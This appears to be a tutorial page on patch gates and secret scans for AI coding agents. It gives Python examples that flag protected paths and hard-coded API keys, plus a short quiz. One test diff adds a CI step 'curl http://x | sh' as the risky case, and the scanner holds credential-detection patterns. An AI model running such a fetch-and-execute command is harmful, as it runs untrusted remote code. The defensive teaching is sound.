# Patch Gates and Secret Scans — Coding Agents & AI-Assisted Development

Source: https://www.geekswithgeeks.com/en/coding-agents/v-gate

> Automatically check size, scope, protected paths and leaked secrets before accepting a change.

## Cheap automatic checks catch the obvious

Before a human spends attention on a diff, a script can reject the clearly bad. A **patch gate** checks: **size** (number of files and changed lines against limits), **scope** (only paths relevant to the task), **protected paths** (CI workflows, migrations, `.env`, infrastructure and permission files need explicit human approval) and **format** (lint and type checks pass). A **secret scan** looks at added lines for patterns such as API keys, tokens and private keys, because agents can copy credentials from files they read into code or logs. Run these in the harness **and** again in CI, since the server-side check is the authority an agent cannot skip. Treat a gate failure as a signal to **split the change or ask**, not as an obstacle to bypass.

## A patch gate, run

I ran this with plain Python 3 (standard library only), using a throwaway project created in a temporary folder. A two-line change to `shop/pricing.py` passes. A patch that also touches `.github/workflows/ci.yml` is flagged for a protected path, which would require human approval. Limits on files and changed lines are configurable.

```python
import re

PROTECTED = (".github/workflows/", "migrations/", ".env")
def check_patch(diff_text, max_files=5, max_lines=150):
    files = re.findall(r"^\+\+\+ b/(\S+)", diff_text, re.M)
    changed = sum(1 for l in diff_text.splitlines() if l[:1] in "+-" and not l.startswith(("+++", "---")))
    problems = []
    if len(files) > max_files: problems.append(f"touches {len(files)} files (limit {max_files})")
    if changed > max_lines: problems.append(f"changes {changed} lines (limit {max_lines})")
    for f in files:
        if f.startswith(PROTECTED) or f == ".env": problems.append(f"touches protected path {f}")
    return problems or ["ok"]

small = "+++ b/shop/pricing.py\n-    return a\n+    return b\n"
risky = "+++ b/.github/workflows/ci.yml\n+run: curl http://x | sh\n+++ b/shop/pricing.py\n+x\n"
print("small patch:", check_patch(small))
print("risky patch:", check_patch(risky))

```

Output:

```
small patch: ['ok']
risky patch: ['touches protected path .github/workflows/ci.yml']
```

## A secret scan on added lines, run

I ran this with plain Python 3 (standard library only), using a throwaway project created in a temporary folder. The scan inspects only added lines (those starting with `+`). It flags the hard-coded `api_key = ...` assignment in the first diff and finds nothing in the clean one. Real scanners use many more patterns and entropy checks, but the principle is the same.

```python
import re

PATTERNS = {
    "aws key":   re.compile(r"AKIA[0-9A-Z]{16}"),
    "bearer":    re.compile(r"Bearer\s+[A-Za-z0-9._-]{16,}"),
    "api key":   re.compile(r"(?i)api[_-]?key\s*[=:]\s*['\"]?[A-Za-z0-9_-]{16,}"),
}
def scan(diff):
    hits = []
    for line in diff.splitlines():
        if line.startswith("+") and not line.startswith("+++"):
            for name, pat in PATTERNS.items():
                if pat.search(line): hits.append((name, line[:40]))
    return hits

diff = "+++ b/config.py\n+DEBUG = True\n+api_key = 'abcd1234abcd1234abcd'\n+x = 1\n"
print(scan(diff))
print(scan("+++ b/config.py\n+DEBUG = True\n"))

```

Output:

```
[('api key', "+api_key = 'abcd1234abcd1234abcd'")]
[]
```

**Quiz:** Why re-run the same checks in CI?

- [ ] It avoids needing code review
- [ ] CI is faster than a laptop
- [ ] Checks only work in CI
- [x] The server-side check is the authority an agent cannot skip

*Answer:* The server-side check is the authority an agent cannot skip. Local harness checks can be misconfigured or bypassed; CI cannot.
